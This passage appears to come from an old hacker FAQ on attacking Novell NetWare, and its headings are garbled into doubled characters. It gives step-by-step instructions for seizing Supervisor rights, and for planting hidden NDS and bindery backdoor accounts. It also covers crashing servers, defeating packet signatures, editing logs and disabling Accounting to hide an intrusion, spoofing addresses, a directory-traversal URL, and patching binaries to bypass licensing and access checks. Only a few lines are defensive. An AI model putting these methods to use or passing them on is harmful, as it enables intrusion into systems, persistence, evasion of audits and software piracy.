Attacker uses SYSCON to either change the password of another user's account with the extra priviladges or makes himself security equiv to a tree.

+#o

Attacker logs out and back in via regular NDS.

To defeat this, a sys admin needs to make sure there are no replicas with sensative accounts on remote servers.

1#19#9.#.

N#Ne#et#tw#wa#ar#re#e C#Cl#li#ie#en#nt#t A#At#tt#ta#ac#ck#ks#s

This section deals with attacking Netware remotely.

1#19#9.#.1#1.#. W#Wh#ha#at#t i#is#s t#th#he#e c#ch#he#ee#es#sy#y w#wa#ay#y t#to#o g#ge#et#t S#Su#up#pe#er#rv#vi#is#so#or#r a#ac#cc#ce#es#ss#s?#?

The cheesy way is the way that will get you in, but it will be obvious to the server's admin that the server has been compromised. This technique works for 3.11.

Using NW-HACK.EXE, if the Supervisor is logged in NW-HACK does the following things. 1) The Supervisor password is changed to SUPER_HACKER, 2) every account on the server is made a supe equivalent, and 3) the sys admin is going to know very quickly something is wrong. What the admin will do is remove the supe rights from all accounts that are not supposed to have it and change the Supervisor password back. The only thing you can do is leave a backdoor for yourself (see the ``Backdoor'' section).

1#19#9.#.2#2.#. H#Ho#ow#w c#ca#an#n I#I l#lo#og#gi#in#n w#wi#it#th#ho#ou#ut#t r#ru#un#nn#ni#in#ng#g t#th#he#e S#Sy#ys#st#te#em#m L#Lo#og#gi#in#n S#Sc#cr#ri#ip#pt#t i#in#n N#Ne#et#t-#w#wa#ar#re#e 3#3.#.x#x?#?

Often an admin will try and prevent a user from getting to DOS or breaking out of the System Login Script to "control" the user. Here's to way to prevent that +#o

Use ATTACH instead of LOGIN to connect to a server. ATTACH will not run the login script, whereas LOGIN will. ATTACH.EXE will either have to be copied to a local HD or put in SYS:LOGIN.

+#o

Use the /s option for LOGIN. Using "LOGIN /S NUL " will cause LOGIN to load the DOS device NUL which will always seem like an empty file.

1#19#9.#.3#3.#. H#Ho#ow#w c#ca#an#n I#I g#ge#et#t I#IP#P i#in#nf#fo#o f#fr#ro#om#m a#a N#Ne#et#tw#wa#ar#re#e s#se#er#rv#ve#er#r r#re#em#mo#ot#te#el#ly#y?#?

There is an undocumented API call that can be done, assuming you have the Netware SDK. Search through support.novell.com for a document called "Retrieving IP Interface Information". This info allows you to retrieve IP info on a Netware server. The document details exactly how to make the call.

1#19#9.#.4#4.#. D#Do#oe#es#s 4#4.#.x#x s#st#to#or#re#e t#th#he#e L#LO#OG#GI#IN#N p#pa#as#ss#sw#wo#or#rd#d t#to#o a#a t#te#em#mp#po#or#ra#ar#ry#y f#fi#il#le#e?#?

Yes and no. No to 4.02 or higher. Here's the scoop on 4.0.

The version of LOGIN.EXE that shipped with 4.0 had a flaw that under

the right conditions the account and password could be written to a swap file created by LOGIN.EXE. Once this occured, the file could be unerased and the account and password retrieved in plain text.

1#19#9.#.5#5.#. E#Ev#ve#er#ry#yo#on#ne#e c#ca#an#n m#ma#ak#ke#e t#th#he#em#ms#se#el#lv#ve#es#s e#eq#qu#ui#iv#va#al#le#en#nt#t t#to#o a#an#ny#yo#on#ne#e i#in#nc#cl#lu#ud#di#in#ng#g A#Ad#dm#mi#in#n.#. H#Ho#ow#w?#?

A couple of things might cause this. One, I'd check the rights for [PUBLIC], and secondly I'd check the USER_TEMPLATE id for excessive rights. The Write right to the ACL will allow you to do some interesting things, including making yourself Admin equivalent. For gaining equivalence to most anything else you need only Read and Compare.

The implication should be obvious, but I'll spell it out anyway. A backdoor can be made if an account is set up this way. Let's say you've created an account called TEST that has enough rights to do this kind of thing. Simply go in as the TEST account, make yourself Admin equivalent, do your thing, remove the Admin equivalent, and get the hell out. Neat and sweet.

1#19#9.#.6#6.#. C#Ca#an#n W#Wi#in#nd#do#ow#ws#s 9#95#5 b#by#yp#pa#as#ss#s N#Ne#et#tW#Wa#ar#re#e u#us#se#er#r s#se#ec#cu#ur#ri#it#ty#y?#?

I am unsure as to the conditions (if anyone knows, please forward me the info) but if your .PWL file is around 900 bytes versus 600 bytes, your workstation will log in without prompting you for a password.

This bug was working as of December 1995, and I would think at this point patched via the latest service pack.

Two ways this can be abused -- on some systems generating the longer file you can simply make sure you generate a .PWL file with the target account name and reboot using that .PWL file.

The other way is to simply collect the .PWL file from an unattended workstation and boot using it.

1#19#9.#.7#7.#. W#Wh#ha#at#t i#is#s P#Pa#ac#ck#ke#et#t S#Si#ig#gn#na#at#tu#ur#re#e a#an#nd#d h#ho#ow#w d#do#o I#I g#ge#et#t a#ar#ro#ou#un#nd#d i#it#t?#?

Packet signatures works by using an intermediate step during the encrypted password login call, to calculate a 64-bit signature. This block is never transmitted over the wire, but it is used as the basis for a cryptographically strong signature ("secure hash") on the most important part of each NCP packet exchange.

A signed packet can indeed be taken as proof sufficient that the packet came from the claimed PC. NCP Packet Signature is Novell's answer to the work of the folks in

the Netherlands in hacking Netware. The idea behind it is to prevent forged packets and unauthorized Supervisor access. It is an add-on option in 3.11, but a part of the system with 3.12 and 4.x. Here are the signature levels at the client and server: Packet Signature Option and meaning: 0 = Don't do packet signatures 1 = Do packet signatures if required 2 = Do packet signatures if you can but don't if the other end doesn't support them 3 = Require packet signatures You can set the same settings at the workstation. The default for packet signatures is 1 at the server and client. If you wish to use a tool like HACK.EXE, try setting the signature level at 0 on the client by adding Signature Level=0 in the client's NET.CFG. If packet signatures are required at the server you won't even get logged in, but if you get logged in, hack away.

If you wish to change the signature level at the server, use a set command at the server console: SET NCP PACKET SIGNATURE OPTION=2 As noted, the packet signature scheme only signs the important parts of NCP packets. Some NCP packets, including "fragmented" NCP packets, are not signed, and in some cases packet signature fucntions differently depending on the settings on the client. Also on Netware 4.x, a server attachs as an object in the connection list, and the packet signature on this does not work properly even if the server is set to Option 3. Details regarding these flaws can be found in a white paper by NMRC members Jitsu-Disk and Simple Nomad at http://www.nmrc.org/pandora/DOCS/NCP.TXT <http://www.nmrc.org/pandora/DOCS/NCP.TXT>, and exploit code was released with Pandora v3.0 available from http://www.nmrc.org/pandora/download.html <http://www.nmrc.org/pandora/download.html>.

2#20#0.#.

N#Ne#et#tw#wa#ar#re#e D#De#en#ni#ia#al#l o#of#f S#Se#er#rv#vi#ic#ce#e

This section contains info regarding Netware Denial of Service.

2#20#0.#.1#1.#. H#Ho#ow#w c#ca#an#n I#I a#ab#be#en#nd#d a#a N#Ne#et#tw#wa#ar#re#e s#se#er#rv#ve#er#r?#?

These are per itsme: +#o

Netware 4.1 : type 512 chars on the console + NENTER = abend

+#o

Netware 3.11 : NCP request 0x17-subfn 0xeb with a connection number higher than the maximum allowed will crash the server (yes you will need the APIs)

If you have console access, try this:

+#o

At the server console type UNLOAD RENDIRFIX

+#o

Use your local copy of SYS:PUBLIC/RENDIR.EXE

+#o

In SYS:LOGIN type RENDIR the server)

(login not required, just attaching to

Another thing to try, with console access, is LOAD RARPSERV.NLM quickly followed by UNLOAD RARPSERV.NLM which will abend a Netware 4.11 server (tested with Service Pack 4 loaded). If RESTART AFTER ABEND is set (which is the default) the server will reboot. Using UNICON to UNLOAD RARPSERV.NLM and it should unload cleanly.

There are several flaws regarding NCP that can allow for interesting Denial of Service that will crash a server. One utility, Havoc, was released with Pandora <http://www.nmrc.org/pandora/index.html>, and a couple more (Burn and Yang) are available at http://www.nmrc.org/files/netware/ <http://www.nmrc.org/files/netware/>.

2#20#0.#.2#2.#. W#Wi#il#ll#l W#Wi#in#nd#do#ow#ws#s 9#95#5 c#ca#au#us#se#e s#se#er#rv#ve#er#r p#pr#ro#ob#bl#le#em#ms#s f#fo#or#r N#Ne#et#tw#wa#ar#re#e?#?

By default Windows 95 shipped with long file names (LFN) and Packet Burst enabled, which created a unique problem -- if the server didn't have long name space loaded (OS/2 name space) it caused problems with files and occassionally crashed the server. But the worse one was Packet Burst. Unless you had at least a 3.11 server with the PBURST.NLM up and running, along with drivers for the server's network capable of handling Packet Burst, the buffer space used for network connections and/or the buffer space on the network card created problems ranging from lockups to timeouts to abends.

There were a couple of different fixes you could do, like updating the server for long name space and Packet Burst (sorry Netware 2.x users), or you could update the clients' SYSTEM.INI file with the following entries: [nwredir] SupportBurst=0 SupportLFN=0 Alternately, a frame type (802.3) that doesn't support Packet Burst could be used, and you could enforce no LFNs via system policies.

2#20#0.#.3#3.#. W#Wi#il#ll#l W#Wi#in#nd#do#ow#ws#s 9#95#5 c#ca#au#us#se#e n#ne#et#tw#wo#or#rk#k p#pr#ro#ob#bl#le#em#ms#s f#fo#or#r N#Ne#et#tw#wa#ar#re#e?#?

If File & Print Sharing for Netware is configured and you have nonWindows 95 users, there could be serious network problems. How does this happen? Here is a very simplified explanation The way Netware advertises its file and print services is via Netware's proprietary (but widely documented) Service Advertising Protocol (SAP). How to get to these resources is communicated via Routing Information Protocol (RIP) packets. Both SAP and RIP info are transmitted broadcast style. Netware servers and even intelligent networking equipment that conform to the SAP and RIP protocol scheme

(like routers) share this info dynamically between each other.

The problem is when Windows 95 is set up with File & Print Sharing for Netware, because the Windows 95 workstation does a lousy job of implementing and interacting with the SAP and RIP info. As any LAN/WAN specialist will tell you, extra SAPs can quickly waste bandwidth, causing timeouts and broadcast storms. And that is exactly what Windows 95 does. Netware 3.x and 4.x have released patches, but the easiest thing to do is simply NOT use File & Print Sharing under Windows 95 -- use Netware's file and print services like they're supposed to be used, or use Client/FPS for Microsoft networks instead.

Can hackers take advantage of this? Here's the theory how: +#o

Turn on File & Print Sharing for Netware in Windows 95.

+#o

On an SLIST the Windows 95 workstation will show up.

+#o

In a Netware 3.x and 4.x environment, there is an internal network number and an external number. Windows 95 will only show an external number, and since these numbers help determine how many hops away the service is, not having an internal one means (depending on your network layout) your Windows 95 workstation is one hop closer.

+#o

When a regular user boots up, the user needs to get to the nearest server to find his prefered server's location from the nearest server's SAP and RIP tables. Routers typically will simply pass on the name and address of the closest server attached to it. This with the hop counts will lead to a lot of attachments to the Winodws 95 server. Therfore even a PREFERED SERVER variable in the NET.CFG would not help.

+#o

To keep clients from timing out with an error, Microsoft passes the user onto the prefered server IF the Windows 95 server is set up with the same name.

+#o

In theory could create a \LOGIN directory and run your own LOGIN.EXE that grabbed the password and then send the client onto it's real server.

What could prevent this? Well, in a WAN environment a router could be configured to only allow SAPs to come from certain segments, or every one of the workstations are running Windows 95 (which is probably Microsoft's solution). And even though I have heard from a dozen people stating that this could be done, no one has said they've done it (the alternate LOGIN directory and trojan LOGIN.EXE).

2#21#1.#. N#Ne#et#tw#wa#ar#re#e L#Lo#og#gg#gi#in#ng#g a#an#nd#d B#Ba#ac#ck#kd#do#oo#or#rs#s This section contains info regarding logging and backdoors for Netware.

2#21#1.#.1#1.#. H#Ho#ow#w d#do#o I#I l#le#ea#av#ve#e a#a b#ba#ac#ck#kd#do#oo#or#r f#fo#or#r N#Ne#et#tw#wa#ar#re#e?#?

Once you are in, you want to leave a way back with supe equivalency.

You can use SUPER.EXE, written for the express purpose of allowing the non-supe user to toggle on and off supe equivalency. If you use the cheesy way in (previous question), you turn on the toggle before the admin removes your supe equivalency. If you gain access to a supe equivalent account, give Guest supe equivalency and then login as Guest and toggle it on. Now get back in as the original supe account and remove the supe equivalency. Now Guest can toggle on supe equivalency whenever it's convenient.

Of course Guest doesn't have to be used, it could be another account, like an account used for e-mail administration or an e-mail router, a gateway's account, you get the idea.

Now SUPER.EXE is not completely clean. Running the Security utility or Bindfix will give away that an account has been altered at the bindery level, but the only way for an admin to clear the error is to delete and rebuild the account.

2#21#1.#.2#2.#. W#Wh#ha#at#t i#is#s t#th#he#e r#ru#um#mo#or#re#ed#d "#"b#ba#ac#ck#kd#do#oo#or#r"#" i#in#n N#ND#DS#S?#?

The rumored backdoor in NDS exists - to an extent. The rumor is that there is a way to set up a backdoor into a system in NDS that is completely hidden from everyone and everything. There IS a way to get real close to this, although how "hidden" it is remains to be seen.

One catch - you need full access to NDS i.e. Admin access to set it up. But if you can get Admin's password or access to a user with Admin or equivalent access then you can put in a backdoor that may go unnoticed for months, or perhaps never be discovered. Here's how to set it up: +#o

Get logged in as Admin or equivalent.

+#o

In NWADMIN highlight an existing container.

+#o

Create a new container inside this container.

+#o

Create a user inside this new container. No home directory.

+#o

Give this user full Trustee Rights to their own user object.

+#o

Give this user full Trustee Rights to the new container.

+#o

Make this user security equivalent to Admin.

+#o

Modify the ACL for the new user so they can't be seen.

+#o

Adjust the Inherit Rights Filter on the new container so no one can see it.

Now this technique can be used by the paranoid admin that wants to give another user full access to a container, and this user wants to restrict access to this container. To prevent this user from forgetting their password (and making a section of the tree unmanageable or worse, disappear) an admin will use similiar techniques.

I have not been able to fully test this but it looks completely invisible to the average LAN admin. This does require an above average knowledge of NDS to set up, so most administrators will not even know how to look for this user.

Let's say you installed your backdoor at the XYZ Company, put your container inside the MIS container and called it BADBOY. Your backdoor is named BACKDOOR. Login like this: LOGIN .BACKDOOR.BADBOY.MIS.XYZ

Now you will show up in the on a server, so naming your great idea. Think of a name attachment, and only use it

normal tools that show active connections backdoor "BACKDOOR" is probably not a that might look like an automated when you think you won't be noticed.

If the site has Kane Security Analyst, they can find the backdoor.

It has come to our attention that there is now a tool from Novell Consutling's called "HOBJLOC"(hidden object locator) which may reveal the hidden object discussed above.

2#21#1.#.3#3.#. W#Wh#ha#at#t i#is#s t#th#he#e b#bi#in#nd#de#er#ry#y b#ba#ac#ck#kd#do#oo#or#r i#in#n N#Ne#et#tw#wa#ar#re#e 4#4.#.x#x?#?

In developing Pandora, I discovered that the first user object in an NDS tree is a bindery object called Supervisor. This object gets its password set during install. To login, simply use the account name Supervisor. Early versions of DS.NLM do NOT assign a property to this object to even ALLOW you to set up Intruder Detection! Using the Intruder utility with Pandora v3.0, you can specifically attack this user account. Once logged in most administrative tools will not see it. An administrator cannot delete this account because an administrator cannot get to this account to delete it from NetAdmin or NwAdmin.

Bindery context is not required to use this object.

If an administrator creates a regular NDS account called Supervisor, this will defeat access to this object.

For more information on this, check out http://www.nmrc.org/pandora/inside.html <http://www.nmrc.org/pandora/inside.html>.

2#21#1.#.4#4.#. W#Wh#he#er#re#e a#ar#re#e t#th#he#e c#co#om#mm#mo#on#n l#lo#og#g f#fi#il#le#es#s i#in#n N#Ne#et#tw#wa#ar#re#e?#?

There are several. Here is a list with their location and their purposes: +#o

File Server Error Log - This log file is located at SYS:SYSTEM\SYS$ERR.LOG and is typically written to by the operating system. It is an ascii text file, and can be written to by anyone with read/write access to SYS:SYSTEM. It typically contains info like bindery open and closes, certain NLMs writing info messages, and of interest to hackers: intruder lockouts, remote console access attempts (failed or successful), and other security-related console alerts. Hackers should edit this file if they have hacked an account with access to SYS:SYSTEM.

+#o

Volume Error Log - This is a plain text file located on the root of every volume and is named VOL$LOG.ERR. Hackers should not pay attention to it unless you are mounting and unmounting volumes and don't want a record of it. Typically volume errors are written here.

+#o

Transaction Tracking Error Log - Transaction Tracking is a method of backing out data that was being written to the volume and the server suddenly stopped writing this data (like a crash of the server). It is plain text, found on the root of any Transaction Tracking defined volume, and is named TTS$LOG.ERR. Usually only the SYS volume (and possibly a volume with a SQL database on it, Sybase comes to mind) is set up for Transaction Tracking. If you're bouncing the server and wish to cover your tracks, this along with the other logs needs to be looked at.

+#o

Console Monitor Log - If a server is running the CONLOG.NLM, everything that rolls by on the main system console gets written to a log file. If you think your activities might write info to the console (especially if you've RCONSOLE'd in and are typing in commands). You may wish to edit this file. CONLOG.NLM will have to be unloaded first, as it has an exclusive lock on the log file, located at SYS:SYSTEM\CONSOLE.LOG.

+#o

Accounting - If accounting has been turned on on a Netware 3.x server, all logins and logouts will be time stamped into the SYS:SYSTEM\NET$ACCT.DAT file. For details on accounting, see the next couple of questions.

+#o

Auditing - Auditing in Netware 4.x and greater writes its data to files located in _NETWARE\*.CAF files. Normally found under SYS:, the _NETWARE directory is a hidden directory, but it also exists on other volumes.

2#21#1.#.5#5.#.

W#Wh#ha#at#t i#is#s A#Ac#cc#co#ou#un#nt#ti#in#ng#g?#?

Accounting is Novell's pain in the butt way to control and manage access to the server in a way that is "accountable". The admin set up charge rates for blocks read and written, service requests, connect

time, and disk storage. The account "pays" for the service by being given some number, and the accounting server deduces for these items.

How the account actually pays for these items (departmental billing, cash, whatever) you may or may not want to know about, but the fact that it could be installed could leave a footprint that you've been there.

Any valid account, including non-supe accounts, can check to see if Accounting is turned on. Simply run SYSCON and try to access Accounting, if you get a message that Accounting is not installed, then guess what?

Since it is a pain to administer, many sys admins will turn it on simply to time-stamp each login and logout, track intruders, and include the node address and account name of each of these items.

2#21#1.#.6#6.#. H#Ho#ow#w d#do#o I#I d#de#ef#fe#ea#at#t A#Ac#cc#co#ou#un#nt#ti#in#ng#g?#?

Turn it off. And spoof your node address. Here's the steps +#o

Spoof your address. Use a supe account's typical node address as your own.

+#o

If you are using a backdoor, activate it with SUPER.EXE.

+#o

Delete Accounting by running SYSCON, selecting Accounting, Accounting Servers, hitting the delete key, and answering yes when asked if you wish to delete accounting. The last entry in the NET$ACCT.DAT file will be your login time-stamped with the spoofed node address.

+#o

Now do what you will in the system. Use a different account if you like, it won't show up in the log file.

+#o

When done, login with the original account, run SYSCON and reinstall Accounting. Immediately logout, and the next line in the NET$ACCT.DAT file will be your logout, showing a login and logout with the same account name, nice and neat.

If you can't spoof the address (some LAN cards don't allow it or require extra drivers you may not have), just turn off Accounting and leave it off or delete the NET$ACCT.DAT file located in the SYS:SYSTEM directory.

It should be noted that to turn off and on Accounting you need supe equivalent, but you don't need supe equivalence to spoof the address.

2#21#1.#.7#7.#. W#Wh#ha#at#t i#is#s I#In#nt#tr#ru#ud#de#er#r D#De#et#te#ec#ct#ti#io#on#n?#?

Intruder Detection is Novell's way of tracking invalid password attempts. While this feature is turned off by default, most sites practicing any type of security will at minimum turn this feature on.

There are several parameters to Intruder Detection. First, there is a

setting for how long the server will remember a bad password attempt.

Typically this is set to 30 minutes, but can be as short as 10 minutes of as long as 7 days. Then there is a setting for how many attempts will lockout the account. This is usually 3 attempts, but can be as short as 1 or as many as 7. Finally is the length the account is locked out. The default is 30 minutes but it can range from 10 minutes to 7 days.

When an Intruder Detection occurs, the server beeps and a time-stamped message is displayed on the System Console with the account name that is now locked out and the node address from where to attempt came from. This is also written to the File Server Error Log. A Supervisor or equivalent can unlock the account before it frees itself up, and the File Server Error Log can also be erased by a Supervisor or equivalent.

In a large shop, it is not unusual to see Intruder Lockouts even on a daily basis, and forgetting a password is a typical regular-user thing to do. Intruder Lockouts on Supervisor or equivalent account is usually noticed.

2#21#1.#.8#8.#. H#Ho#ow#w d#do#o I#I c#ch#he#ec#ck#k f#fo#or#r I#In#nt#tr#ru#ud#de#er#r D#De#et#te#ec#ct#ti#io#on#n?#?

The easiest way to check for Intruder Detection is to play with a valid account that you know the password of. Try the wrong password several times. If Intruder Detection is on, the account will be locked out once you try to get back in with the correct password.

2#21#1.#.9#9.#. W#Wh#ha#at#t a#ar#re#e s#st#ta#at#ti#io#on#n/#/t#ti#im#me#e r#re#es#st#tr#ri#ic#ct#ti#io#on#ns#s?#?

Time restrictions can be placed on an account to limit the times in which an account can be logged in. In the account is already logged in and the time changes to a restricted time, the account is logged out.

The restriction can be per weekday down to the half hour. That means that if an admin wants to restrict an account from logging in except on Monday through Friday from 8-5, it can be done. Only Supervisor and equivalents can alter time restrictions. Altering the time at the workstation will not get you around time restrictions, only altering time at the server can change the ability to access.

Station restriction place a restriction on where an account can be used. Restrictions can be to a specific token ring or ethernet segment, and can be specific down to the MAC layer address, or node address. The only way around a station restriction at the node address is to spoof the address from a workstation on the same segment or ring as the address you are spoofing. Like time restrictions, only Supervisor and equivalents can alter station restrictions.

Of course you can remove station and time restrictions in SYSCON if you are a Supe equivalent.

2#21#1.#.1#10#0.#. H#Ho#ow#w c#ca#an#n I#I t#te#el#ll#l i#if#f s#so#om#me#et#th#hi#in#ng#g i#is#s b#be#ei#in#ng#g A#Au#ud#di#it#te#ed#d i#in#n N#Ne#et#tw#wa#ar#re#e 4#4.#.x#x?#?

Use RCONSOLE and do a directory scan of SYS:_NETWARE. There will be some binary files named NET$AUDT.* if Auditing has been used. Old Audit files will be named NET$AUDT.AO0, .AO1, etc. A current Auditing file will be named NET$AUDT.CAF. If these files do not exist, no Auditing is being or has been done. To check to see if Auditing is currently active, try to open the current Auditing file like this: LOAD EDIT SYS:_NETWARE\NET$AUDT.CAF

If it pulls up something (with a little garbage) then Auditing is currently turned off. If you get an error stating that NET$AUDT.CAF doesn't exist and do you wish to create it, that means the file is being hend open and Auditing is currently active on SOMETHING (remember, the EDIT.NLM normally handles open files pretty well, but trying to open a file already open in SYS:_NETWARE always gets this error).

Also, if the site is running Novell's Web Server software, use a web browser and try http://www.target.com/scripts/convert.bas?../../_netware/net$audt.caf and if you DO NOT receive an error, Auditing is or was active.

2#21#1.#.1#11#1.#. H#Ho#ow#w c#ca#an#n I#I r#re#em#mo#ov#ve#e A#Au#ud#di#it#ti#in#ng#g i#if#f I#I l#lo#os#st#t t#th#he#e A#Au#ud#di#it#t p#pa#as#ss#sw#wo#or#rd#d?#?

If the Auditor forgets the password, try a simple wipe and reload.

Hello, hello, you seemed to have fainted...

You can try this although there is no guarantee it will work, it is just a theory. You see, the Auditing files are located in SYS:_NETWARE. As long as they are there and Auditing active, even deleting NDS and recreating it will not turn off Auditing. If you wish you can delete and rebuild SYS: which will get it. Try these listed items if you are desperate. I have tried them in the NMRC lab and got this to work a couple of times -- but once I trashed the server and NDS. One time it didn't work at all. But here it is: - Use RCONSOLE's directory scan and get the exact names of the Audit files, you know NET$AUDT.CAF but also files with an extension of .$AF are Auditing files, too.

- Use the techniques in 06-2 and determine exactly which files are being held open by this particular server for Auditing.

- Try booting up the server and running a sector editor.

- Search the drive for the file names you found.

- Change all occurrences of these names, save changes, and boot up.

- If that didn't do the trick, try booting up the server using a 3.x SERVER.EXE and try and get to SYS:_NETWARE that way. Then delete the Auditing files.

- If THAT doesn't work, use repeated calls to the SYS:_NETWARE's directory table (using the APIs) and either delete or change the afore mentioned files.

Gee, maybe a "simple wipe and reload" is easier...

2#21#1.#.1#12#2.#. W#Wh#ha#at#t i#is#s i#in#nt#te#er#re#es#st#ti#in#ng#g a#ab#bo#ou#ut#t N#Ne#et#tw#wa#ar#re#e 4#4.#.x#x'#'s#s l#li#ic#ce#en#ns#si#in#ng#g?#?

It is possible to load multiple licenses and combine their total number of users. For example, if you are in one of those Novell CNE classes where they give you a 2 user 4.1 license, you can get everyone's CD in class and combine them on one server. If you get 10 CDs you have a 20 user license. I know of no limit to the maximum number of licenses and user limit, except for hardware limitations supporting it. This means you could load more than one copy of 1000 user Netware 4.1 on a server (assuming you have unique copies, not the same copy twice). itsme has done some poking around with his tools, and has the following to say regarding the SERVER.EXE that comes with Netware 4: what's inside server.exe: 0001d7c7 server.nlm type=07 000d319d "Link" 000d504a 000d31a5 unicode.nlm type=00 (ordinary NLM) 000d504a "Link" 000d6e9c 000d5052 dsloader.nlm type=00 (ordinary NLM) 000d6e9c "Link" 000db808 000d6ea4 timesync.nlm type=00 (ordinary NLM) 000db808 polimgr.nlm type=0c ('hidden' NLM) by editing the binary of server, and changing the type of polimgr.nlm from 0c to 00 (offset 007a or 000db882 in server.exe) it becomes unhidden. hidden NLM's are protected from debugging with the netware debugger. polimgr.nlm manages the license files, after it reads the file, it checks with some kind of signature function whether it is a valid file the function doing the checking can be made to always return OK, then you can create an any number of users license.

2#21#1.#.1#13#3.#. W#Wh#ha#at#t i#is#s t#th#he#e W#Wo#or#rd#d P#Pe#er#rf#fe#ec#ct#t 5#5.#.1#1 t#tr#ri#ic#ck#k w#wh#he#en#n r#ru#un#nn#ni#in#ng#g N#Ne#et#tw#wa#ar#re#e 3#3.#.x#x o#ov#ve#er#r D#DO#OS#S?#?

It has been noted that when running Netware 3.x, specifically 3.12, over DOS, no windows at all, and you start Word Perfect version 5.1, enter a last name, then hit F5, you get access to the entire disk.

NMRC is investigating and will keep you posted as to our results.

2#22#2.#.

N#Ne#et#tw#wa#ar#re#e M#Mi#is#sc#c.#. A#At#tt#ta#ac#ck#k I#In#nf#fo#o

This section has miscellaneous information regarding hacking and Netware.

2#22#2.#.1#1.#. H#Ho#ow#w d#do#o I#I s#sp#po#oo#of#f m#my#y n#no#od#de#e o#or#r I#IP#P a#ad#dd#dr#re#es#ss#s?#?

This will depend greatly on what kind of network interface card (NIC) the workstation has, as to whether you can perform this function.

Typically you can do it in the Link Driver section of the NET.CFG file by adding the following line - NODE ADDRESS xxxxxxxxxxxx where xxxxxxxxxxxx is the 12 digit MAC layer address. This assumes you are using Netware's ODI drivers, if you are using NDIS drivers you will have to add the line to a PROTOCOL.INI or IBMENII.NIF file, which usually has the lines already in it.

Getting the target node address should be pretty easy. Login with any account and do a USERLIST /A. This will list all accounts currently logged in with their network and node address. If your workstation is on the same network as the target, you can spoof the address no problem. Actually you can spoof the address regardless but to defeat station restrictions you must be on the same network.

For an IP address, you may have to run a TCPIP config program to make it work (it depends on whose IP stack you are running). Some implementations will have the mask, the default router and the IP address in the NET.CFG, some in the TCPIP.CFG. It is a good idea to look around in all network- related subdirectories to see if there are any .CFG, .INI, or .NIF files that may contain addresses.

Forging the IP address is quite tricky, and many people have written to me asking for specific tips. Since there are a number of different IP implementations this is rather impractical. However here are a few important items to remember: +#o

Most utilities that configure the IP address DO use an INI, CFG or NIF file of some type. Look for those files.

+#o

As workstation software becomes more complex, I have found that often the IP address is written in more than one place. You must get it in all of places it has been written. For example if you are running multiple protocols on one card, you may have to update several different config files including NET.CFG.

+#o

If the IP address you are trying to spoof is up and active, it is possible that you won't get anything to work at all, or it will be difficult. In large companies there is usually some monitoring to detect duplicate IP addresses. Netview is one example of a product that can be configured to look for this.

+#o

A company may have a class 2 address, and may have dozens of class 3 subnets. If your subnet is 100.100.100.x and your default router is 100.100.100.254, trying to spoof 100.100.200.10 probably will not work very well.

2#22#2.#.2#2.#. H#Ho#ow#w c#ca#an#n I#I s#se#ee#e h#hi#id#dd#de#en#n f#fi#il#le#es#s a#an#nd#d d#di#ir#re#ec#ct#to#or#ri#ie#es#s?#?

Instead of a normal DIR command, use NDIR to see hidden files and directories. NDIR *.* /S /H will show you just Hidden and System files.

2#22#2.#.3#3.#. H#Ho#ow#w d#do#o I#I d#de#ef#fe#ea#at#t t#th#he#e e#ex#xe#ec#cu#ut#te#e-#-o#on#nl#ly#y f#fl#la#ag#g?#?

If a file is flagged as execute-only, it can still be opened. Open the file with a program that will read in executables, and do a Save As to another location.

Also try X-AWAY.EXE to remove this flag since Novell's FLAG.EXE won't.

But once again X-AWAY.EXE requires Supervisor access.

To disable the check for Supe access in X-AWAY, try the following: REN X-AWAY.EXE WORK DEBUG WORK EB84 EB W Q REN WORK X-AWAY.EXE

Hey presto, anybody can copy X flagged files. The only catch is you need practically full rights in the directory where the X flagged file resides.

2#22#2.#.4#4.#. H#Ho#ow#w c#ca#an#n I#I h#hi#id#de#e m#my#y p#pr#re#es#se#en#nc#ce#e a#af#ft#te#er#r a#al#lt#te#er#ri#in#ng#g f#fi#il#le#es#s?#?

The best way is to use Filer. Here are the steps for removing file alterations +#o

Run Filer or use NDIR and note the attributes of the target file, namely the date and owner of the file.

+#o

Make your changes or access the file.

+#o

Run Filer or use NDIR and check to see if the attributes have changed. If so, change them back to the original settings.

While you can hit F1 will in Filer and get all the context-sensitive help you need, the quicky way to get where you're going is to run Filer in the target file's directory, select Directory Contents, highlight the target file and hit enter, select File Options and then View/Set File Information. View and edit to your heart's desire.

2#22#2.#.5#5.#. W#Wh#ha#at#t i#is#s a#a N#Ne#et#tw#wa#ar#re#e-#-a#aw#wa#ar#re#e t#tr#ro#oj#ja#an#n?#?

A Netware-aware trojan is a program that supposedly does one thing but does another instead, and does it using Netware API calls. I have never personally encountered one, but here is how they would work.

+#o

Trojan program is placed on a workstation, hopefully on one frequented by admins with Supe rights. The trojan program could be named something like CHKVOL.COM or VOLINFO.COM, that is a real name but with a .COM extension. They would be placed in the workstation's path.

+#o

Once executed, the trojan uses API calls to determine if the person is logged in as a Supe equivalent, if not it goes to the next step.

Otherwise some type of action to breach security is performed.

+#o

The real CHKVOL.EXE or VOLINFO.EXE is ran.

The breach of security would typically be some type of command-line activity that could be performed by system() calls. For example, PROP.EXE could be run to build a property and the replacement LOGIN.EXE copied up to the server in the SYS:LOGIN directory. Or RW access granted to the SYS:SYSTEM directory for a non-Supe user like GUEST. Once activated the trojan could also erase itself since it is no longer needed.

2#22#2.#.6#6.#. W#Wh#ha#at#t a#ar#re#e T#Tr#ru#us#st#te#ee#e D#Di#ir#re#ec#ct#to#or#ry#y A#As#ss#si#ig#gn#nm#me#en#nt#ts#s?#?

The LAN God has pointed out quite correctly that Trustee Directory Assignments are the most misunderstood and misconfigured portion of Novell Netware. Typically a secure site should have Read and File Scan only in most directories, and should not have any rights on the root directory of any volume. Rights assigned via the Trustee Directory Assignments filter down the directory tree, so if a user has Write access at the root directory, that user has Write access in every subdirectory below it (unless explicitly limited in a subdirectory down stream). And these assignments are not located in the bindery, but on each volume.

The following is a brief description of Trustees and Trustee Directory Assignments cut and pasted from the comp.os.netware.security FAQ: [quote] A trustee is any user or group that has been granted access rights in a directory.

The access rights in Novell NetWare 2 are slightly different from the ones in NetWare 3.

The following is a summary of access rights for NetWare 3.

S - Supervisory. Any user with supervisory rights in a directory will automatically inherit all other rights, regardless of whether they have been explicitly granted or not. Supervisor equivalent accounts will hold this access right in every directory.

R - Read. Enables users to read files.

C - Create. Enables users to create files and directories. Unless they also have write access, they will not be able to edit files which have been created.

W - Write. Enables users to make changes to files. Unless they also have create access, they may not be able to edit files, since the write operation can only be used to extend files (not truncate them, which file editors need to do).

E - Erase. Enable users to erase files and remove directories.

M - Modify. Enable users to modify file attributes.

F - File scan. Enables users to see file and directory information. If a user does not have file scan rights, they will not see any evidence of such files existing.

